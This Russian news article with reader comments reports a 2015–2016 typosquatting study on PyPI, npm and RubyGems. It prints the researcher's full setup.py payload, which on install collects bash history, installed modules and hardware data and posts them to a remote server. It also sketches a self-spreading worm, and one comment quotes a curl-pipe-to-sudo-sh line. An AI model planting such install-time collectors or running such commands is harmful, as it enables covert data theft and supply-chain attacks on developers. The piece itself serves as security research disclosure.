Эффективность атаки доказана при распространении вредоносного кода через репозитории PyPi (Python), Npmjs.com (Node.js) и rubygems.org (Ruby)
Оказывается, тайпосквоттинг подходит не только для регистрации доменных имён. Немецкий специалист по безопасности Николай Чахер (Nikolai Tschacher) продемонстрировал, насколько легко распространять вредоносный код через PyPi — каталог программного обеспечения, написанного на языке программирования Python, а также через репозитории NodeJS (Npmsjs.com) и Ruby (rubygems.org).
Итак, публикуем пакет с опечаткой в названии — и ждём, пока кто-нибудь допустит опечатку в своей консоли…
> sudo pip install reqeusts
Во время небольшого эксперимента Николай в целях исследования инфицировал 17 000 компьютеров, причём 43,6% установок были совершены с правами администратора, в том числе на серверах в правительственных доменах .gov и .mil.
Традиционные тайпосквоттеры регистрируют тысячи адресов, в продвинутые компании всегда вместе с основным доменов регистрируют возможные варианты тайпосквоттинга, устанавливая редирект. Некоторые даже используют тайпосквоттинг, чтобы забирать чужой трафик. Например, Google перенаправляет к себе трафик с домена duck.com.
Кстати, есть ещё битсквоттинг — экзотичесая разновидность тайпосквоттинга. Здесь расчёт идёт не на человеческую, а на аппаратную ошибку. Битсквоттинг делает ставку на то, что какое-нибудь из подключённых к интернету устройств случайно ошибётся и изменит один нужный бит в DNS-запросе, так что трафик пойдёт вместо оригинального сайта на сайт злоумышленника. Для таких атак выбираются домены CDN и рекламных сетей, контент с которых подгружается на тысячи популярных сайтов. Это такие домены, как fbcdn.net, 2mdn.net и akamai.com.
Николай Чахер ознакомился с методами стандартного тайпосквоттинга и задался вопросом: а сколько же человек ошибутся в названии пакета, если вручную устанавливают покеты через пакетный менеджер. Например, пакетный менеджер pip скачивает пакеты из репозитория PyPi. Если мы создадим произвольный пакет с названием reqeusts (закачать его в репозиторий может кто угодно) вместо стандартного модуля requests, то наш пакет скачают и установят все пользователи, которые совершат опечатку при наборе команды.
Чтобы проверить эффективность атаки, Николай создал 214 пакетов с различными типами опечаток в названии, в том числе с незарегистрированными вариантами имён из стандартной библиотеки (например, urllib2), и закачивал их в репозитории в течение нескольких месяцев во второй половине 2015 года и начале 2016 года.
В пакетах Python вредоносный код прятался в файле setup.py, который запускается с правами администратора. Для модулей NPM был написан предустановочный скрипт, а вот с пакетами Ruby пришлось повозиться.
При установке каждого фиктивного тайпосквоттерского пакета отправлялось уведомление на сервер с указанием IP-адреса, операционной системы, прав пользователя и таймстампом.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Notification program used in the typo squatting
bachelor thesis for the python package index.
Created in autumn 2015.
Copyright by Nikolai Tschacher
"""
import os
import ctypes
import sys
import platform
import subprocess
debug = False
# we are using Python3
if sys.version_info[0] == 3:
import urllib.request
from urllib.parse import urlencode
GET = urllib.request.urlopen
def python3POST(url, data={}, headers=None):
"""
Returns the response of the POST request as string or
False if the resource could not be accessed.
"""
data = urllib.parse.urlencode(data).encode()
request = urllib.request.Request(url, data)
try:
reponse = urllib.request.urlopen(request, timeout=15)
cs = reponse.headers.get_content_charset()
if cs:
return reponse.read().decode(cs)
else:
return reponse.read().decode('utf-8')
except urllib.error.HTTPError as he:
# try again if some 400 or 500 error was received
return ''
except Exception as e:
# everything else fails
return False
POST = python3POST
# we are using Python2
else:
import urllib2
from urllib import urlencode
GET = urllib2.urlopen
def python2POST(url, data={}, headers=None):
"""
See python3POST
"""
req = urllib2.Request(url, urlencode(data))
try:
response = urllib2.urlopen(req, timeout=15)
return response.read()
except urllib2.HTTPError as he:
return ''
except Exception as e:
return False
POST = python2POST
try:
from subprocess import DEVNULL # py3k
except ImportError:
DEVNULL = open(os.devnull, 'wb')
def get_command_history():
if os.name == 'nt':
# handle windows
# http://serverfault.com/questions/95404/
#is-there-a-global-persistent-cmd-history
# apparently, there is no history in windows :(
return ''
elif os.name == 'posix':
# handle linux and mac
cmd = 'cat {}/.bash_history | grep -E "pip[23]? install"'
return os.popen(cmd.format(os.path.expanduser('~'))).read()
def get_hardware_info():
if os.name == 'nt':
# handle windows
return platform.processor()
elif os.name == 'posix':
# handle linux and mac
if sys.platform.startswith('linux'):
try:
hw_info = subprocess.check_output('lshw -short',
stderr=DEVNULL, shell=True)
except:
hw_info = ''
if not hw_info:
try:
hw_info = subprocess.check_output('lspci',
stderr=DEVNULL, shell=True)
except:
hw_info = ''
hw_info += '\n' + os.popen('free -m').read().strip()
return hw_info
elif sys.platform == 'darwin':
# According to https://developer.apple.com/library/
# mac/documentation/Darwin/Reference/ManPages/
# man8/system_profiler.8.html
# no personal information is provided by detailLevel: mini
return os.popen('system_profiler -detailLevel mini').read()
def get_all_installed_modules():
# first try the default path
pip_list = os.popen('pip list').read().strip()
if pip_list:
return pip_list
else:
if os.name == 'nt':
paths = ('C:/Python27',
'C:/Python34',
'C:/Python26',
'C:/Python33',
'C:/Python35',
'C:/Python',
'C:/Python2',
'C:/Python3')
# try some paths that make sense to me
for loc in paths:
pip_location = os.path.join(loc, 'Scripts/pip.exe')
if os.path.exists(pip_location):
cmd = '{} list'.format(pip_location)
try:
pip_list = subprocess.check_output(cmd,
stderr=DEVNULL, shell=True)
except:
pip_list = ''
if pip_list:
return pip_list
return ''
def notify_home(url, package_name, intended_package_name):
host_os = platform.platform()
try:
admin_rights = bool(os.getuid() == 0)
except AttributeError:
try:
ret = ctypes.windll.shell32.IsUserAnAdmin()
admin_rights = bool(ret != 0)
except:
admin_rights = False
if os.name != 'nt':
try:
pip_version = os.popen('pip --version').read()
except:
pip_version = ''
else:
pip_version = platform.python_version()
url_data = {
'p1': package_name,
'p2': intended_package_name,
'p3': 'pip',
'p4': host_os,
'p5': admin_rights,
'p6': pip_version,
}
post_data = {
'p7': get_command_history(),
'p8': get_all_installed_modules(),
'p9': get_hardware_info(),
}
url_data = urlencode(url_data)
response = POST(url + url_data, post_data)
if debug:
print(response)
print('')
print("Warning!!! Maybe you made a typo in your installation command or the module does only exist in the python stdlib?!")
print("Did you want to install '{}' instead of '{}'??!".format(intended_package_name, package_name))
print('For more information, please visit http://svs-repo.informatik.uni-hamburg.de/')
def main():
if debug:
notify_home('http://localhost:8000/app/?',
'pmba_basic', 'pmba_basic')
else:
notify_home('http://svs-repo.informatik.uni-hamburg.de/app/?',
'pmba_basic', 'pmba_basic')
if __name__ == '__main__':
main()
Результаты оказались ошеломляющими. Нотификатор на сервере получил 45334 уведомлений об установке с 17289 уникальных IP-адресов.
Больше всего установок сгенерировали фиктивные пакеты для PyPi: 15221 уникальных IP-адресов. На долю rubygems.org пришлось 1631 инсталляций, на NPM — 525. В среднем, каждый пакет был установлен 92 раза, но самым популярным оказался urllib2 с 3929 уникальными установками.
Жертвы атаки распределились между разными операционными системами: Linux (8614), Windows (6174), OS X (4758) и другими ОС (57).
Сопоставление IP-адресов с хостами дало следующую картину.
Национальная принадлежность хостов, по странам
Полные результаты исследования опубликованы в дипломной работе Николая Чахера.
Кстати, автор предлагает идею, что данный тип атаки можно использовать для распространения червя, который будет майнить историю введённых команд в консоли под Linux и OS X, чтобы находить новые опечатки, которых нет в базе.
Теоретически, червь может сам искать новые векторы атаки (новые опечатки), генерировать новые пакеты, закачивать их в репозитории вместе со своим кодом и, таким образом, распространяться дальше.
Комментарии (21)
IvanPanfilov
13.06.2016 19:19-10хорошо что я не держу на компе эти Python, Node.JS и Ruby и вообще не имею привычки ставить всякую хрень вручную.
Lucky_Starr
13.06.2016 20:51Ставите всякую хрень автоматически? Пользуетесь пакетным менеджером ОС? Не понял Ваш комментарий.
IvanPanfilov
14.06.2016 19:23для деплоя на сервер пишу скрипты для установки и обновления пакетов. без опечаток.
можно воспроизводить действия запустив лишь одну команду. а не набирать как мудак в консоли какждый раз команду установки пакета.
офигенно удобная вещь
tyomitch
14.06.2016 01:23+4Если у вас нет собаки, её не отравит сосед, и с другом не будет драки, если у вас, если у вас, если у вас друга нет.
pyrk2142
13.06.2016 21:06Репозитории — это, безусловно, хорошо, но надо быть с ними осторожными (в идеале).
Небольшая история: некоторое время назад я нашел пару уязвимостей на популярном хостинге репозиториев для jailbreak'нутых IOS-девайсов. Они позволяли получить полный доступ к аккаунту пользователя, включая выложенные им приложения. Учитывая популярность некоторых репозиториев, это пугало: можно было добавить вредоносный код в популярные приложения, а эти приложения улетят на устройства тем, кто захочет их установить или обновить, и смогут украсть все данные с устройства.foxmuldercp
14.06.2016 10:20Что и называется «используйте только официальные прошивки и п/о взятое с официальных сайтов проекта», остальные «герои-хакеры» рискуют сами стать жертвой
andreymal
16.06.2016 13:01Сами разрабы репозиториев могут пропарсить access.log, вытащить наиболее распространённые опечатки и закрыть к ним доступ или поставить редиректы. Проблему полностью не решит, но полегче станет
aronsky
Я даже не знаю, стоило ли это публиковать в открытом доступе до появления способа противостоять этому.
zitter
ИМХО стоило. Все давно догадывались что если что-то качать из репозитория без проверки, можно нарваться.
Теперь кому-то надоело и он это доказал.
Вот теперь может быть подумают о безопасности
j_wayne
И против установки гемов через sudo теперь есть не просто аргумент (хоть и железобетонный. но не все внимают), а прецедент. Конечно стоило.
shasoft
В данном случае, насколько я понимаю, упор сделан на другое — вы качаете вроде бы проверенный пакет, но опечатка делает свое черное дело.
aol-nnov
похожий вектор уже использовали в рабигемз для remote execution на сервере (на котором пакеты хранятся)
только там не на опечатки был упор, а на то, что файл, описывающий пакет eval-ится на сервере (моя вольная интерпретация прочитанного здесь около года назад. искать, естессно, лень :) )
sumanai
Какие тут могут быть способы? Разве что регистрировать все похожие по написанию названия пакетов вместе с основным, но это для тех, кто выкладывает свой код.
ilammy
Например, подписывать релизы и проверять подписи?
Не, это сильно сложно. Да и кому это вообще понадобится? Ой, надо ж поставить эту штуку… ага,
curl http://example.com/install_thingie.sh | sudo sh
sumanai
> Например, подписывать релизы и проверять подписи?
Ага
http://xkcd.ru/1181/
Кто будет следить за всеми этими подписями? Каждому разработчику по подписи? И тогда для её верификации я каждый раз буду ходить на сайт, мне некуда записывать все открытые ключи. Один ключ на всех? Достаточно будет украсть его.
ilammy
Ну да, а я о чём. Решение есть. Просто заморачиваться не удобно.
За подписями следить разработчикам, кому же ещё. Каждому публикуемому пакету по подписи, да. Ключи можно заливать на какой-нибудь key server. Через него же отзывать скомпрометированные. Верифицировать — хотя бы через какие-то соцсети посредством того же Keybase.io. Ходить вам лично на сайт не надо, компьютер вполне может это сделать сам.
Но всё это сложнее, чем тупо скачать и установить без проверок. И даже подписи не защищают от обезьяны, не глядя жмущей «Далее, [?] доверять Васе Пупкину с ключом 6DCB4341, далее, далее, *вводит пароль администратора*, готово». Или не глядя подписывающей что попало.
servermen
Будьте внимательны при наборе номера! А то невзначай можно и не туда попасть:).
Barafu
Допустим, автор пакета Вася Некуймазаев. Во-первых, это надо как-то наверняка знать. Во вторых, на keyserver лежат три ключа «Vasia Nekuimazaef» «Vasja Nekuimazaef» и «Vasjа Nekuimazaef». Какой правильный? Кстати, в этом примере две последние строки — разные. Смотрите внимательно, и больше не называйте других людей обезьянами, пока сами не можете увидеть очевидную разницу в простых строках.
ilammy
В плане, наверняка знать? Автор, ключи, и всё такое можно класть рядом с прочей информацией о проекте. Вам надо только убедиться, что вы не видите, например, совершенно другой поддельный интернет, совершенно другой проект, а у вас на компьютере сохранён совершенно другой ключ.
Keyserver — это просто хостинг. Подразумевается, что вы и так знаете, что хотите там найти ключ от нужного вам Васи с нужным хешем. Которые верифицируются по другим каналам. Либо Вася вам лично в вашем блокнотике пишет хеш своего ключа своей рукой. Либо Вася просит Петю, Машу, и Сашу (или корпорацию Груша), которым вы доверяете, дать вам честное слово, что ключ с таким-то хешем принадлежит нужному Васе. Либо вы точно знаете, что Вася подписывается таким-то ником и использует такую-то аватарку, и Вася запостил хеш своего ключа на пяти различных сайтах, которым вы доверяете, поэтому у вас есть уверенность, что это именно тот Вася, который вам нужен.
Вопрос в любом случае сводится к личному доверию и принятию решения о доверии. Если эти решения принимаются безответственно, то от ЭЦП нет толку.
lega
При установке выдавать варнинг, что ставиться не популярный пакет.